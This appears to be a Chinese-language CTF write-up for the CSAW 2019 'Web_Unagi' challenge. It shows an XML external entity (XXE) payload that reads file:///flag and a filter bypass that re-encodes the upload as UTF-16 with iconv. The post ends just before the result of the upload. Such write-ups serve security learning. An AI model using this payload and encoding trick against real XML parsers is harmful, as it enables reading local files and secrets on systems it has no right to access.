本文最后更新于:2023年8月25日 下午
                  
                
              
            
            
              
                
                [TOC]
[Web_Unagi]xxe注入过滤绕过


提示我们需要上传文件,并且flag在根目录下,
上传文件的格式为:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <users><user>
 <username>alice</username>
 <password>passwd1</password>
 <name>Alice</name>
 <email>alice@fakesite.com</email>
 <group>CSAW2019</group>
 </user>
 <user>
 <username>bob</username>
 <password>passwd2</password>
 <name> Bob</name>
 <email>bob@fakesite.com</email>
 <group>CSAW2019</group>
 </user>
 </users>
 
 | 
很明显使用xxe注入
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 
 | <?xml version='1.0'?><!DOCTYPE users [
 <!ENTITY xxe SYSTEM "file:///flag" >]>
 <users>
 <user>
 <username>gg</username>
 <password>passwd1</password>
 <name>ggg</name>
 <email>alice@fakesite.com</email>
 <group>CSAW2019</group>
 <intro>&xxe;</intro>
 </user>
 </users>
 
 | 
但是上传上去发现被过滤了,我们需要想办法绕过
由于xml文件支持UTF-16编码,所以我们可以把文件转为UTF-16
| 1
 | iconv -f UTF-8 -t UTF-16 1.xml > flag.xml
 | 
然后再上传:
